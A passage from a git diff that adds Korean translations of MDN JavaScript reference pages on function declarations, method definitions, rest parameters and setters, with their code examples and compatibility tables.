+ <li>더 이상 함수 또는 스크립트 자체의 "source 요소"가 아닌 경우. "source 요소"는 스크립트 또는 함수 몸통에서 중첩되지 않은 문입니다:</li>
+</ul>
+
+<pre class="brush: js">var x = 0;               // source 요소
+if (x == 0) {            // source 요소
+   x = 10;               // source 요소가 아님
+   function boo() {}     // source 요소가 아님
+}
+function foo() {         // source 요소
+   var y = 20;           // source 요소
+   function bar() {}     // source 요소
+   while (y == 10) {     // source 요소
+      function blah() {} // source 요소가 아님
+      y++;               // source 요소가 아님
+   }
+}
+</pre>
+
+<h3 id="예">예</h3>
+
+<pre class="brush: js">// function 선언
+function foo() {}
+
+// function 식
+(function bar() {})
+
+// function 식
+x = function hello() {}
+
+
+if (x) {
+   // function 식
+   function world() {}
+}
+
+
+// function 선언
+function a() {
+   // function 선언
+   function b() {}
+   if (0) {
+      // function 식
+      function c() {}
+   }
+}
+</pre>
+
+<h2 id="블록_레벨_함수">블록 레벨 함수</h2>
+
+<p>ES2015 (ES6)를 시작으로 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서, 블록 내부 함수는 이제 그 블록 범위가 됩니다. ES6 이전에, 블록 레벨 함수는 엄격 모드에서 금지됐습니다.</p>
+
+<pre class="brush: js">'use strict';
+
+function f() {
+  return 1;
+}
+
+{
+  function f() {
+    return 2;
+  }
+}
+
+f() === 1; // true
+
+// 비엄격 모드에서는 f() === 2
+</pre>
+
+<h3 id="비엄격_코드에서_블록_레벨_함수">비엄격 코드에서 블록 레벨 함수</h3>
+
+<p>한 마디로: 안됩니다.</p>
+
+<p>비엄격 코드에서, 블록 내부 function 선언은 이상하게 동작합니다. 예를 들면:</p>
+
+<pre class="brush: js">if (shouldDefineZero) {
+   function zero() {     // 위험: 호환성 위험
+      console.log("This is zero.");
+   }
+}
+</pre>
+
+<p>ES2015는 <code>shouldDefineZero</code>가 false인 경우, 그러면 <code>zero</code>는 결코 정의되어서는 안된다고 합니다, 그 블록이 실행된 적이 없기에. 그러나, 이는 표준의 새로운 일부입니다. 역사상, 이는 지정되지 않은 채 방치되었고 일부 브라우저는 블록이 실행됐든 아니든 <code>zero</code>를 정의할 겁니다.</p>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서, ES2015를 지원하는 모든 브라우저는 이를 같은 식으로 다룹니다: <code>zero</code>는 <code>shouldDefineZero</code>가 true이고 <code>if</code> 블록 범위인 경우에만 정의됩니다.</p>
+
+<p>조건부 함수를 정의하는 더 안전한 방법은 function 식을 변수에 할당하는 것입니다:</p>
+
+<pre class="brush: js">var zero;
+if (0) {
+   zero = function() {
+      console.log("This is zero.");
+   };
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="형식_갖춘_숫자_반환하기">형식 갖춘 숫자 반환하기</h3>
+
+<p>다음 함수는 선행 0으로 채워진 형식 갖춘(formatted) 숫자 표현을 포함하는 문자열을 반환합니다.</p>
+
+<pre class="brush: js">// 이 함수는 선행 0으로 채워진 문자열을 반환
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // 문자열로 반환값을 초기화
+   var numZeros = totalLen - numStr.length; // 0의 개수 계산
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>다음 문은 padZeros 함수를 호출합니다.</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // 반환값 "0042"
+result = padZeros(42,2); // 반환값 "42"
+result = padZeros(5,4);  // 반환값 "0005"
+</pre>
+
+<h3 id="함수_존재_여부_결정하기">함수 존재 여부 결정하기</h3>
+
+<p><code>typeof</code> 연산자를 사용하여 함수가 존재하는지 여부를 결정할 수 있습니다. 다음 예에서, <code>window</code> 객체가 함수인 <code>noFunc</code>이라고 하는 속성이 있는지 결정하기 위해 테스트가 수행됩니다. 있으면, 사용됩니다; 그렇지 않으면 무언가 다른 행동을 취합니다.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+   // noFunc() 사용
+ } else {
+   // 뭔가 다른 것 수행
+ }
+</pre>
+
+<p><code>if</code> 테스트에는, <code>noFunc</code>에 대한 참조가 사용되고—실제 함수가 호출되지 않도록 함수 이름 뒤에 괄호 "()"가 없음을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.0에서 구현됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>신규: 화살표 함수, 생성기 함수, 기본 매개변수, 나머지 매개변수.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function 문")}}</li>
+ <li>{{jsxref("Operators/function", "function 식")}}</li>
+ <li>{{jsxref("Statements/function*", "function* 문")}}</li>
+ <li>{{jsxref("Operators/function*", "function* 식")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Functions/애로우_펑션", "화살표 함수")}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "기본 매개변수")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "나머지 매개변수")}}</li>
+ <li>{{jsxref("Functions/arguments", "arguments 객체")}}</li>
+ <li>{{jsxref("Functions/get", "getter")}}</li>
+ <li>{{jsxref("Functions/set", "setter")}}</li>
+ <li>{{jsxref("Functions/Method_definitions", "메서드 정의")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">함수 및 함수 범위</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/method_definitions/index.html b/files/ko/web/javascript/reference/functions/method_definitions/index.html
new file mode 100644
index 0000000000..ff1b67956a
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/method_definitions/index.html
@@ -0,0 +1,230 @@
+---
+title: 메서드 정의
+slug: Web/JavaScript/Reference/Functions/Method_definitions
+tags:
+  - ECMAScript 2015
+  - Functions
+  - JavaScript
+  - Object
+  - Syntax
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<p>ECMAScript 2015 를 시작으로, 객체 초기자(initializer)에 메서드 정의를 위한 더 짧은 구문이 도입되었습니다. 이는 메서드 명에 할당된 함수를 위한 단축입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var obj = {
+  <var>property</var>( <var>parameters…</var> ) {},
+  *<var>generator</var>( <var>parameters…</var> ) {},
+// 키(속성) 계산값과도 함께:
+  [property]( <var>parameters…</var> ) {},
+  *[generator]( <var>parameters…</var> ) {},
+// ES5 getter/setter 구문과 비교해 보세요:
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>단축 구문은 ECMAScript 5에 도입된 <a href="/ko/docs/Web/JavaScript/Reference/Functions/get">getter</a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Functions/set">setter</a> 구문과 비슷합니다.</p>
+
+<p>다음 코드가 주어지면:</p>
+
+<pre class="brush: js">var obj = {
+  foo: function() {},
+  bar: function() {}
+};</pre>
+
+<p>이제 이를 아래로 줄일 수 있습니다:</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<div class="note">
+<p><strong>주의 :</strong> 단축 구문은 익명(anonymous) 함수 (…<code>foo: function() {}</code>… 에서처럼) 대신 유명(named) 함수를 사용합니다. 유명 함수는 함수 본체에서 호출될 수 있습니다 (이는 참조할 식별자가 없기에 익명 함수에게는 불가능합니다). 자세한 사항은, {{jsxref("Operators/function","function","#Examples")}} 참조.</p>
+</div>
+
+<h3 id="단축_생성기_메서드">단축 생성기 메서드</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">생성기 메서드</a>는 단축 구문을 사용해서도 정의될 수 있습니다. 단축 구문 내 별표(*)는 생성기 속성명 앞에 와야 함을 주의하세요. 즉, <code>* g(){}</code>는 작동하지만 <code>g *(){}</code>는 아닙니다.</p>
+
+<pre class="brush: js;highlight[12]">// 유명 속성 사용 (ES2015 이전)
+var obj2 = {
+  g: function*() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+// 단축 구문을 쓰는 같은 객체
+var obj2 = {
+  * g() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="메서드_정의는_생성_불가능합니다">메서드 정의는 생성 불가능합니다</h3>
+
+<p>모든 메서드 정의는 생성자가 아니고 인스턴스화하려고 하는 경우 {{jsxref("TypeError")}} 예외가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var obj = {
+  method() {},
+};
+new obj.method; // TypeError: obj.method는 생성자가 아닙니다
+
+var obj = {
+  * g() {}
+};
+new obj.g; // TypeError: obj.g는 생성자가 아닙니다 (ES2016에서 바뀜)
+</pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="간단한_테스트_사례">간단한 테스트 사례</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+  a : "foo",
+  b(){ return this.a; }
+};
+console.log(obj.b()); // "foo"
+</pre>
+
+<h3 id="속성_계산명">속성 계산명</h3>
+
+<p>단축 구문은 속성 계산명(computed property name)도 지원합니다.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+  foo0 : function (){return 0;},
+  foo1(){return 1;},
+  ["foo" + 2](){return 2;},
+};
+
+console.log(bar.foo0()); // 0
+console.log(bar.foo1()); // 1
+console.log(bar.foo2()); // 2</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>생성기 메서드 역시 [[Construct]] 트랩이 없어야 하고 <code>new</code>와 함께 사용되는 경우 예외 발생으로 바뀜.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Method definition shorthand</td>
+   <td>{{CompatChrome("39")}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("26")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Generator methods are not constructable (ES2016)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("43")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Method definition shorthand</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Generator methods are not constructable (ES2016)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("43")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="SpiderMonkey_전용_주의사항">SpiderMonkey 전용 주의사항</h2>
+
+<ul>
+ <li>SpiderMonkey 38 {{geckoRelease(38)}} 이전에, "<code>get</code>" 및 "<code>set</code>"은 생성기 메서드에 무효한 이름이었습니다. 이는 {{bug(1073809)}}에서 해결됐습니다.</li>
+ <li>SpiderMonkey 41 {{geckoRelease(41)}} 이전에, 중괄호는 메서드 정의에 필요하지 않았습니다. ES2015 스펙을 따르기 위해 이제부터 필요하고 이번과 이후 버전에서 {{jsxref("SyntaxError")}}가 발생합니다 ({{bug(1150855)}}).
+  <pre class="brush: js example-bad">var o = {x() 12}; // SyntaxError</pre>
+ </li>
+ <li>오직 생성기 메서드만이 생성자인 제한은 SpiderMonkey 41 {{geckoRelease(41)}}에서 구현되었습니다. {{bug(1059908)}} 및 {{bug(1166950)}} 참조.</li>
+</ul>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></code></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/rest_parameters/index.html b/files/ko/web/javascript/reference/functions/rest_parameters/index.html
new file mode 100644
index 0000000000..eee5528b38
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/rest_parameters/index.html
@@ -0,0 +1,223 @@
+---
+title: Rest 파라미터
+slug: Web/JavaScript/Reference/Functions/rest_parameters
+tags:
+  - Functions
+  - JavaScript
+  - Rest
+  - Rest parameters
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>Rest 파라미터</strong> 구문은 정해지지 않은 수(an indefinite number, 부정수) 인수를 배열로 나타낼 수 있게 합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">function f(a, b, ...theArgs) {
+  // ...
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>함수의 마지막 파라미터의 앞에 <code>...</code> 를 붙여 (사용자가 제공한) 모든 나머지 인수를 "표준" 자바스크립트 배열로 대체합니다. 마지막 파라미터만 "Rest 파라미터" 가 될 수 있습니다.</p>
+
+<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("one", "two", "three", "four", "five", "six");
+
+// Console Output:
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]</pre>
+
+<p> </p>
+
+<h3 id="Rest_파라미터_및_arguments_객체간_차이">Rest 파라미터 및 <code>arguments</code> 객체간 차이</h3>
+
+<p>Rest 파라미터와 <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments"><code>arguments</code></a> 객체 사이에 세 가지 주요 차이점이 있습니다:</p>
+
+<ul>
+ <li>Rest 파라미터는 구분된 이름(예, 함수 표현에 정식으로 정의된 것)이 주어지지 않은 유일한 대상인 반면, <code>arguments</code> 객체는 함수로 전달된 모든 인수를 포함합니다.</li>
+ <li><code>arguments</code> 객체는 실제 배열이 아니고 rest 파라미터는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> 인스턴스로, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/sort" title="Array sort method"><code>sort</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="Array map method"><code>map</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Array forEach method"><code>forEach</code></a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="Array pop method"><code>pop</code></a> 같은 메서드가 바로 인스턴스에 적용될 수 있음을 뜻합니다.</li>
+ <li>즉 <code>arguments</code> 객체는 자체에 특정 추가 기능이 있습니다 (<code>callee</code> 속성처럼).</li>
+</ul>
+
+<h3 id="arguments에서_배열까지">arguments에서 배열까지</h3>
+
+<p>Rest 파라미터는 인수에 의해 유발된 상용구(boilerplate) 코드를 줄이기 위해 도입되었습니다.</p>
+
+<pre class="brush: js">// Rest 파라미터 이전에, "arguments" 는 다음을 사용해 일반적인 배열로 변환될 수 있음
+
+function f(a, b) {
+
+  var normalArray = Array.prototype.slice.call(arguments);
+  // -- 또는 --
+  var normalArray = [].slice.call(arguments);
+  // -- 또는 --
+  var normalArray = Array.from(arguments);
+
+  var first = normalArray.shift(); // OK, 첫 번째 인수를 반환
+  var first = arguments.shift(); // ERROR (arguments 가 일반적인 배열이 아님)
+
+}
+
+// 이제 rest 파라미터를 사용해 쉽게 일반적인 배열에 접근할 수 있음
+
+function f(...args) {
+  var normalArray = args;
+  var first = normalArray.shift(); // OK, 첫 번째 인수를 반환
+}</pre>
+
+<h3 id="Rest_파라미터_해체">Rest 파라미터 해체</h3>
+
+<p>Rest 파라미터는 해체될 수 있습니다(배열로만). 이는 데이터가 구분된 변수로 해체될 수 있음을 의미합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a> 문서를 보세요.</p>
+
+<pre class="brush: js">function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1)          // NaN (b 와 c 는 undefined)
+f(1, 2, 3)    // 6
+f(1, 2, 3, 4) // 6 (4번 째 파라미터는 해체되지 않음)</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서, 첫 번째 인수는 <code>"a"</code>, 두 번째 인수는 <code>"b"</code> 로 매핑되어, 일반적인 유명 인수와 같이 사용됩니다. 반면에 3번 째 인수 <code>"manyMoreArgs"</code> 는 사용자가 포함시킨 인수를 포함하는 배열이 됩니다.</p>
+
+<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("one", "two", "three", "four", "five", "six");
+
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]</pre>
+
+<p>아래를 보면, 하나의 값만 있더라도 마지막 인수는 여전히 배열을 갖습니다.</p>
+
+<pre class="brush: js">// 위 예제와 동일한 함수 정의를 사용
+
+myFun("one", "two", "three");
+
+// a, one
+// b, two
+// manyMoreArgs, [three]</pre>
+
+<p>아래를 보면, 3번 째 인수가 제공되지 않더라도, "manyMoreArgs" 는 여전히 배열입니다(비어있긴하지만).</p>
+
+<pre class="brush: js">// 위 예제와 동일한 함수 정의를 사용
+
+myFun("one", "two");
+
+// a, one
+// b, two
+// manyMoreArgs, []</pre>
+
+<p><code>theArgs</code> 가 배열이므로, <code>length</code> 프로퍼티를 사용해 엘리먼트의 수를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">function fun1(...theArgs) {
+  console.log(theArgs.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3</pre>
+
+<p>다음 예제에서, rest 파라미터는 첫 번째 인수 다음의 모든 인수를 배열로 모으는데 사용됩니다. 각각은 첫 번째 파라미터와 곱해져 배열로 반환됩니다.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(function(element) {
+    return multiplier * element;
+  });
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<p><code>Array</code> 메소드는 rest 파라미터에서 사용될 수 있지만, <code>arguments</code> 객체에서는 그렇지 않습니다.</p>
+
+<pre class="brush: js">function sortRestArgs(...theArgs) {
+  var sortedArgs = theArgs.sort();
+  return sortedArgs;
+}
+
+console.log(sortRestArgs(5, 3, 7, 1)); // 1, 3, 5, 7
+
+function sortArguments() {
+  var sortedArgs = arguments.sort();
+  return sortedArgs; // this will never happen
+}
+
+
+console.log(sortArguments(5, 3, 7, 1)); // TypeError (arguments.sort is not a function)</pre>
+
+<p><code>arguments</code> 객체에서 <code>Array</code> 메소드를 사용하려면, 이를 먼저 실제 배열로 변환해야합니다.</p>
+
+<pre class="brush: js">function sortArguments() {
+  var args = Array.from(arguments);
+  var sortedArgs = args.sort();
+  return sortedArgs;
+}
+console.log(sortArguments(5, 3, 7, 1)); // 1, 3, 5, 7
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.functions.rest_parameters")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax" title="spread operator">Spread 문법</a> (또한 ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Arguments 객체</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">함수</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Original proposal at ecmascript.org</a></li>
+ <li><a href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/set/index.html b/files/ko/web/javascript/reference/functions/set/index.html
new file mode 100644
index 0000000000..248a218c37
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/set/index.html
@@ -0,0 +1,208 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>set</code></strong> syntax는 어떤 객체의 속성에 이 속성을 설정하려고 할 때 호출되는 함수를 바인드한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>주어진 함수를 바인드할 속성의 이름</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd><code>prop에 설정될 값을 가지고 있는 변수의 별명.</code></dd>
+ <dt>expression</dt>
+ <dd>ECMAScript 6부터는, 주어진 함수에 바인드 되는 속성 이름은 계산(computed)을 통해 얻을 수 있고 이것을 위한 expressions을 사용할 수 있다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p> 자바스크립트에서, setter는 특정한 속성에 값이 변경되어 질 때마다 함수를 실행하는데 사용될 수 있다. Setter는 유사(pseudo)-property 타입을 생성하는 getter와 함께 가장 자주 사용된다. 실제 값을 가지는 property와 이  property의 setter 를  동시에 갖는 것은 불가능하다.</p>
+
+<p><code>set</code> 문법을 사용할 때 다음을 주의한다:</p>
+
+<div>
+<ul>
+ <li>숫자혹은 문자로된 식별자를 가질 수 있다;</li>
+ <li>한 개의 파라메터만 가질 수 있다.(더 자세한 정보는 <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a>를 본다);</li>
+ <li>오브젝트 리터럴에 동일한 property에 대한  다른 set나  데이터 항목이 올 수 없다.<br>
+  ( <code>{ set x(v) { }, set x(v) { } }</code> 그리고 <code>{ x: ..., set x(v) { } }</code> 는 허용되지 않는다.)</li>
+</ul>
+</div>
+
+<p>setter는   <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a> operator를 사용하여 제거할 수 있다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="새로운_객체의_setter를_객체의_initializer에서_정의하기">새로운 객체의 setter를 객체의 initializer에서 정의하기 </h3>
+
+<p>다음은 객체 o의 유사 프로러티(pseudo-property )인 <code>current를 정의한다. 이것은 값이 설정될 때, 이 값으로 로그를 갱신 한다.</code></p>
+
+<pre class="brush: js">var o = {
+  set current (str) {
+    this.log[this.log.length] = str;
+  },
+  log: []
+}
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">다음 사항에 주의한다. </font>current는 정의 되지 않았고 이것에 접근하는 모든 시도는 undefined 값을 얻게될 것이다.</code></p>
+
+<h3 id="delete_operator로_setter를_제거하기"><code>delete</code> operator로 setter를 제거하기</h3>
+
+<p>만약 setter를 제거하기 원한다면, 그냥 그것을 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 하면 된다:</p>
+
+<pre class="brush: js">delete o.current;
+</pre>
+
+<h3 id="defineProperty를_사용하여_이미_존재하는_객체에_setter를_정의하기"><code>defineProperty를 사용하여 이미 존재하는 객체에 </code>setter를 정의하기</h3>
+
+<p>setter를 이미 존재하는 object에 나중에 언제라도 추가하기 위해서, {{jsxref("Object.defineProperty()")}}를 사용한다.</p>
+
+<pre class="brush: js">var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.a) // 5</pre>
+
+<h3 id="연산된(computed)_property_name_사용하기">연산된(computed) property name 사용하기</h3>
+
+<div class="note">
+<p><strong>Note:</strong> 계산된(Computed) properties는 실험적인 기술이고,  ECMAScript 6 proposal의 부분이다. 아직 많은 브라우저가 지원하지 않는다. 이것 때문에 지원하지 않는 환경에서는  문법 오류가 발생할 것이다.</p>
+</div>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+  baz: "bar",
+  set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = "baz";      // run the setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added computed property names.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성CompatibilityTable">브라우저 호환성{{CompatibilityTable}}</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
